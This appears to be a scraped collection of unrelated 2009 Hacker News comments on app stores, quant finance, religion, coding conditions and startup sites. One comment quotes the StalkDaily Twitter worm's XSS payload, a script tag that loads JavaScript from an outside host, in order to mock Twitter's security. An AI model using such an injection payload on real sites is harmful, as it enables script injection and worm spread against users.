skysight-inc/HackerNews huggingface dataset:
Many of my friends who own an iPhone do not care who wrote it or how the application was written - they just want to be entertained or connected.

Salient comment from Jason Devitt of SkyDeck.com (proprietor of cloud-based mirror of your mobile phone's information)

> Downloading applications for a Nokia phone is not obvious, not easy, and often no fun at all. It’s confined to people who in your words are ‘more tech-savvy’ and ‘more likely to try things out.’

>I have many friends whom I do not consider ‘tech savvy’ and who never downloaded an application for a mobile phone in their lives - until they bought an iPhone.

Nokia VP New Markets Anssi Vanjoki talking about their Ovi store. It will have a feature the iPhone App Store could use/implement.

>It’s different from other stores because of its relevance engine. It learns from your own use, the location where you are, and your interaction with your friends. You will not get tens of thousands of crap applications. You will get what is relevant to you.

http://venturebeat.com/2009/04/02/nokia-aims-to-prove-there-...
either that or we are in denial...
Your forgetting about overhead. They spend K + Nx so cost per person is x + K/N which drops as N increases. Granted for companies the size of Google K is small relative to Nx but it's still a large number.

PS: Management tends to work the other way, so cost per person is ~x + Log(N) but generally speaking it's a net win to increase the size of the company.
Coming to work from 8:30 to 5:30, sitting in a cubicle with a forced dress code, while writing in... sob PHP.

Rails freelance is awesome.
Just a small note: it is Truveo.com NOT Trueveo.com. But yes the irony is delicious. It genuinely seems as though he does not notice how similar the technique is to the Digg Bar.
For the same reason nation states and sports franchises still exist; The human need to identify with something larger than one's self.

Embrace it, because that's why people flock to your Yet Another Social Network startup.
We do have objective answers. As for "why we exist", it's "It doesn't matter" and as for conciousness its "We don't know yet, we're looking into it" and for "what happens after we die" it's "Nothing, we think, but we don't really have enough evidence either way"
Because religion is a money-making machine, just like the military, or politics, or drugs.

Money and Power.
Flamewar probability: high
ha ha, I thought April Fool's was a coupla weeks ago
How did that turn out? What was your margin of safety? I hope they appreciated the heroic effort you put forth.

I haven't done anything that crazy but have debugged (and fixed) a few memorable, painful, stressful software (usually system integration) problems on frantic conference calls mere hours before the paid-for-and-scheduled on-site training on the software commenced.
Virtual box, VMware player, virtual PC are basically your best choices. I recommend VMware, thats the one I like most and seems the best choice for *nix.
I disagree, having worked on Wall Street for a couple of years. Finance prefers that you learn these sorts of things on the job. It's much better received to have majored in math or computer science than business, at least for an undergrad.

It's also very unlikely that Soros is going to have an undergraduate building new quant models in his first year. If he's lucky, he might get to write the code to test someone else's models. There really isn't an undergraduate course that sets you up to be a quant, and most quant jobs are unattainable without a PhD.

An MFE degree (Master's in Financial Engineering) can give you the basic skills expected of a junior-level quant trader, but tends to underplay a critical component: programming. (Most quant jobs are programming jobs; unfortunately, the lingua franca is C++, and at most financial firms, the quants are strong mathematicians but third-rate coders.)
Assuming the audience is people who think it shouldn't, start with a definition they'd like: religion is creative group storytelling about things we do not understand. Such topics are usually grandiose, but in primitive times religion helped us begin to understand smaller problems, like local rainfall.

With that definition, it's obvious that religion isn't going anywhere anytime soon. Parts of it have split off into Hollywood, parts of it have split off into scientific inquiry. But the idea that we don't know everything? And that we have to use our creative minds together to come to some kind of hypothesis for things we do not understand? I can't see that changing.

Now you can extend the definition to organized religion, or western religion, or the Catholic Church, or whatever, but I think that is beginning to change the subject.
This is not my story of course but the story that immediately popped in my memory when I read the title.

Steve Wozniak's story about rewriting floppy drive low-level software the morning of a big demo:

>I got it to where it was writing data on a track, reading the data on a track. Then I got it to where it was reading the data in the right byte positions. Then I got it to work with shifting tracks, and we wanted a simple program where we would say "run checkbook" or "run color math" and it would run the programs that were stored on the floppy disk. So we went off to Las Vegas, and Randy and I worked all night and we got it done to where it was working. At the very end, it was 6:00 a.m. and I said, 'We have to back up this floppy disk." We had one good disk that we prepared with the data hand-massaged to get it just right. So I stuck it in the floppy and wrote a little program, and I typed in some data and I said "read track 0," stuck in the other floppy and said "write track 0, read track 1, write track 1." There were 36 tracks—I had to switch floppies back and forth.

When I got done, I'm looking at these 2 floppies that look just the same. And I decided that I might have written onto the good one from the bad, and I did. So I had lost it all. I went back to my hotel room. I slept for a while. I got up about 10:00 a.m. or so. I sat down and, out of my head and my listings, recreated everything, got it working again, and we showed it at the show. It was a huge hit. Everybody was saying, "Oh my God, Apple has a floppy!" It just looked beautiful, plugged into a slot on our computer. We were able to say "run color math," and it just runs instantly. It was a change in time.

But the real eureka moment for me was the very first time I ever read data back. I wrote it on the floppy, which was easy, but read it back, got it right. I just died.

I think that Steve's entire interview is probably one of the most inspiring in Founders at Work:

http://www.foundersatwork.com/steve-wozniak.html
Apparently, this was the XSS: var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

... WTF twitter? This is basic stuff.
While I was in the Navy, I coded in my 2'x 6.5' rack on my ship while deployed and while the AC in my berthing was broken. It was 105 degrees inside my berthing (that I shared with 25 other guys) and the AC motor had caught fire so we were out of luck in terms of that comfort. I don't recommend doing this, it wasn't exactly a good idea to be coding in such heat and misery.
> 2. Be easily impressed, entertained, and interested. Most people get more pleasure from wowing you with their humor and insight than from being wowed by your humor and insight.

I have struggled with this in the past. The key takeaway I've learned is that the person is just trying to relate a feeling to you - about what they are talking about - e.g. not to convince you. Stop trying to be a know-it-all or Mr. Logic.

Example:
Woman friend enters wearing thrifty-looking but interesting pea coat.

Friend: "Hey, check out my coat. Guess how much I paid?"

Me: "Hmm. $25?"

Friend: "No. $30"

Both: Silence

What I should have said: "$100?!"

Or even better?: "Let's go case out that store. I want one in my size." (joking)

It's not about getting the correct answer - this is not a game show "The Price is Right" - being friendly is more about letting someone express their emotion behind their words and maybe even brag a little
"It's pretty hard to do something like getting a job setting up new quant models for Soros unless you've specifically tailored your college experience to learning how to do that."

I strongly disagree. Finance is not Theoretical Physics. In Physics, the best and brightest are in Academia and have access to high-quality experimental data (unless you're doing high-energy stuff, where experimental data is hard to get). In Finance, the best and brightest are in the financial services industry, and the finance academics have no access to high-quality data because such data costs millions. Data aside, the kind of Finance which is taught in college is somewhat of a fantasy. I will be crude and claim that Academic Finance is as scientific as literary criticism...

Cutting a long story short: anyone who's proficient at building models (like a physicist or a math-oriented engineer) can build models for a hedge fund without having been trained to do that in college. At D.E. Shaw they like to say that "you can teach smart people how to do finance, but you can't teach financial people how to be smart".
Twitter: Digital Content Curator
Another day in PMC :)
Both articles are geared towards the poor/middle classes who try to jump above their heads.I wonder if it is the sign of things to come....Give us your money and we will invest in stocks.Poof ! No money. But now give us your money or just try by yourself and build internet/clean-tech start-up. Every 5-7 years they change the strategy after people realize it's not working.
I'm tired of how people treated like sheep in Police-Mafiozo Country
More views on StackOverflow

http://stackoverflow.com/questions/741581/what-are-the-worst...
This essay is internally contradictory.

"Startups often make money primarily by reducing costs, and cost reduction nearly always means job reduction."

"If a company hires an employee whose efforts earn the company three times their salary, that gives said company the cash flow to hire two more people."

So basically, creating www.replace-your-secretary-with-web-2point0-technology.com and selling subscriptions destroys jobs. Probably true. But writing replacethesecretarywithvisualbasic.exe for a salary creates them?

The only real difference I see is that a startup will (hopefully) have a bigger impact.
Indeed. There's no shortage of success stories in mobile development before Apple or Google came along, but they mostly took place a long way from Silicon Valley.

In 2004, I was working as a graphics artist for a Finnish startup that was in the business of making Java games for phones. The company had started with three founders two years earlier, and when I got there, they employed over 30 people and kept growing. They had struck deals with operators across Europe, and game sales were taking off in a serious way. (Ordinary people were buying millions of units of over-the-air distributed Java software for phones already in 2004 -- but I guess those that were successful in this market were not terribly interested in attracting competitors by making a lot of noise about it.)

The games were good enough that everybody could be proud of the work. On the best phones, the graphics and sound quality was on the level of Amiga or 386+VGA PCs. But more importantly, the games scaled down graciously to the most primitive color-screen phones with resolutions circa 128*80 pixels: thanks to a well-thought out set of APIs, an asset workflow designed for scalability and an extensive database of device capabilities, games could be easily built for dozens of devices.

I ended up leaving that job fairly quickly because I figured out I'd rather be pushing around millions of pixels on the GPU with code, rather than pushing around individual pixels in Photoshop manually. But I know the company was acquired by a large American corporation not long after, and I think the founders ended up very well rewarded for having created that rare combination of technical competence (the APIs and development process), marketing (the relationships with international operators) and artistic integrity (the games looked good and played well).
I thought that was strange too. But even more strange is his job description: "researches the acceleration of human evolution since the advent of agriculture".

Acceleration? I was under the impression that once the food problem was solved, evolution slowed dramatically. In fact I thought it had basically stopped thousands of years ago, apart from obvious things like "impotence is selected against", or "luxury evolution" like selecting against extreme ugliness.

It makes no sense. Tools and farming remove selection pressure per se, and if that's gone we just stay as we are, not slowly "revert", or whatever he's imagining.
Not coding, but editing video. It was for a start-up I founded, and it happened 2.5 years ago. I just moved into a new apartment and had little besides my Pentium III computer and an approaching deadline. It had a bad-quality 14-inch CRT screen that I salvaged from somewhere. I mounted the screen on the computer case, sat on the floor with keyboard on my folded legs, and started working.
Maybe it's the state I'm in, but whenever I've looked into high deductible plans it doesn't seem that they save much money.

Most of health insurance premiums go to pay for very expensive treatments, usually at the end of life. Routine medical bills don't add up to much: but bills can add up to $250k pretty quick if you get cancer.
"at most financial firms, the quants are strong mathematicians but third-rate coders."

Truer words have never been written. Various friends of mine who are former mathematicians / physicists now working as quants do rock at stochastic calculus, but suck at C++. Maybe a solution would be to separate the coding tasks from the modeling tasks. A friend of mine recently took a quant position at a hedge fund, and while he gets to do a lot of modeling and data analysis, the actual implementation is carried out by a 1st rate coder with whom he works in tandem. That sounds very smart to me...
Just because those "objective" answers are satisfactory for you does not imply that they are for everybody.

Unless of course you consider yourself to be average. And thus expect your opinions and thoughts to be similar to those of the masses.

I never understand people's problem with the core ideas of religion. So long as nobody tries to convert me, I'm really happy to accept other people's beliefs.
The one about smiling is soooo true. Same with laughter. Has to be real, but it really does help.
I see a lot of that kind of writing: it's taught quite consistently to fine arts students, where it does actually have a use in persuading funding bodies to give money. If you say to a funding body "We want to look at the relationship between human beings and anthropomorphic robots!" you get nothing, but if you say "We want to look at the relationship between place and space and internal subjectivity through [blah blah blah]" you get money to build cool robots and let them loose on the park.

The only flaw with the plan is that this kind of stuff leaks out of that confine and infects discourse outside of art funding bodies.
yeah, no tunes, and i just couldn't get used to the sweaty hands from the gloves. i forgot about the mask. those dark red lines in your face, i much prefer my aeron chair and office now :)
Probably won't go over too well on HN lol. You can't go against pg for goodness' sake!
1. Hm...in the front seat of my car, waiting for the traffic officer to return for 45 minutes.

2. In a dorm room for a year with 10kb/s internet, tops. FTP was impossible without net2ftp.com. SSH and most other traffic would not get anywhere either (SVN, IRC, etc.), and I was working many hours on web projects. No Windows VM, so all IE6-7 testing had to be through BrowserShots. But I had a bunch of great Mac software which eased the pain.
Really like the way the skills and locations are extracted out below each tweet.

I see the team is based in the UK. Would be great to have you along to the next Twitter Developer Nest: http://twitterdevelopernest.com You could do a demo in the "Show & Tweet" session.

Have you seen: http://www.twitterjobsearch.com also from a UK company?
Failure is a by-product of pushing the envelope
A comprehensive app of this kind would be really interesting. Like if it supported X color names, Windows color names, web color names (from very generic 16 "web-safe" color names to more specific like color names supported by Firefox 3.0), and translation features:

"What's the equivalent of a red-hued version of color named X of palette A in palette B?"

Would be great to only have to learn one color name set in detail and then have access to pretty much every color name in every system (of course it would support approximation too).
The Evil Diggbar
IE8 will be distributed via automatic updates for IE6/IE7
It does look like a good idea. I myself am a bit confused by the "1"s next to the link. Looking through the site I did find a few dead links, and there wasn't a whole lot of content. However, I still think it has a lot of potential.

I think it's especially useful for some of our unemployed twitter friends who don't have the attention span for a traditional job search.
Some Of Our Favorite Easter Eggs
Thanks for your feedback. The number next to each post title is the number of tweets referring to a particular job post. On recent tab, most of them are '1' as they are the first occurrence, however on popular tab (7 days/30 days), you can see the count as the number of tweets referring to that job, which implies popularity of the referred job post.
How Ford Avoided the Meltdown that Hit GM, Chrysler
Tesla says powertrain factory will be built in Bay Area
10 reasons why we'll see a new iPhone this June
I use virtualbox (http://www.virtualbox.org/) to run linux on OS X. It is easy to set up and works well enough for my purposes (testing that webapps run on linux, and using a few libraries I can't build on OS X).
Is it me or does the search not work?
Had to write some code in a servers room, which of course was really cold. Other than that, I couldn't sit down, and had nowhere to place the keyboard on, so a pal held it up while I was typing...
I think the missing piece of his essay is that the ultimate goal is not job creation; it's for everyone to be better off. That is accomplished by increasing productivity.

Increased productivity doesn't necessarily imply fewer jobs. It might mean that everyone works less hours. There hasn't always been a 40 hour work week. It's only that low due to society's increasing productivity.
I do some web design for a company that makes iPhone apps and he made the point to me that the biggest issue is hardware. His company is small, two developers, and they couldn't be half as productive if they needed to test for a thousand different hardware configurations. With the iPhone, you are guaranteed that there is only one or two configurations and you know exactly what they are. I imagine a lot of these companies are small groups of developers in similar situations.

Also, people with iPhones are people with money. Not a bad demographic to develop for.
Technically, he is applying the science, he doesn't advance it. So he's not a scientist, he is one heck of an engineer.
Software That Monitors Your Work, Wherever You Are
it works for me when I select the autocomplete suggestions in the category and city fields
Evil Walrus - a public code snippet library that anyone can edit
Not that I really think that this is appropriate for HN, but since the topic has been raised:

http://rondam.blogspot.com/2009/04/hooked-on-god-religion-as...
Working with back-open cubicles, loud sales shouting, people talking, and a goddamn "Sold!" bell ringing each time there was a sale.

Seriously? You need to get me out of zone just because you have succeeded to sell another piece of software?

Freelancing kicks ass.
-15F, fixing bugs in code that ran on a small wearable computing device strapped to a soldiers wrist. The best part was where I had to interface with the GUI to debug instead of a shell on a handheld tablet. That meant using a tiny stylus on a tiny screen while asking a soldier to stand still in 30 mph winds.
I don't think he denounces it. If anything, his facial expression makes it seem like he had a 'Eureka!' moment.

Something along the lines of - 'this is exactly what I should be doing!'
Yes, we are based in London and we will surely look forward for the next Twitter Developer Nest. We have seen twitterjobsearch.com, but jobmigo.com relies on entirely different principle. Unlike twitterjobsearch.com, jobmigo.com does not index all job related posts, instead, it relies on users to retweet only the interesting posts using #rtjobs hashtag. The aim is to separate out the 'most discussed' job posts from the overload of results given by other aggregator and search tools.
Handing out $100 bills is another way... This all seems more about projecting or acting the role of a likable person than actually being genuine. There are times though when that is necessary, interviews I suppose.
Absolutely right. I know a person who does that and it almost feels as if he is deliberately trying to break rapport. Does anybody have any idea how to inform this person without being patronizing?
He argues that Whites grammar advice is factually wrong, and uses examples from Oscar Wilde and Bram Stoker to prove his point. That argument does not depend on whether Pullum himself is a better writer that White.

But FWIW I find the first sentence much more informative than the second.
>>Just because those "objective" answers are satisfactory for you does not imply that they are for everybody.

... and we should respect that people believe X because they feel good by believing X, even without serious reasons to think X is true?

I can agree so far that it lacks respect to laugh outright at other people, even when they do hilariously stupid things.
Religion takes advantage of the troubled, the sick and the old, promising them hope, even false hope, in exchange for servitude.
"I will be crude and claim that Academic Finance is as scientific as literary criticism..."

I submit that you are not aware of what is actually taught in academic finance. What principles of it do you disagree with?
FireWire and scroll wheels are hardware implementation details, abstracted in software, while the function key locations only matter in the physical world (i.e. they aren't sending different keycodes to the OS).
Except that the cause and effect of smiling, for example, is not unidirectional. Not only do people smile when they're happy, but forcing yourself to smile makes you happier.
"most quant jobs are unattainable without a PhD."

Not really, you just need to do your summer internships at hedge funds and make them lots of money.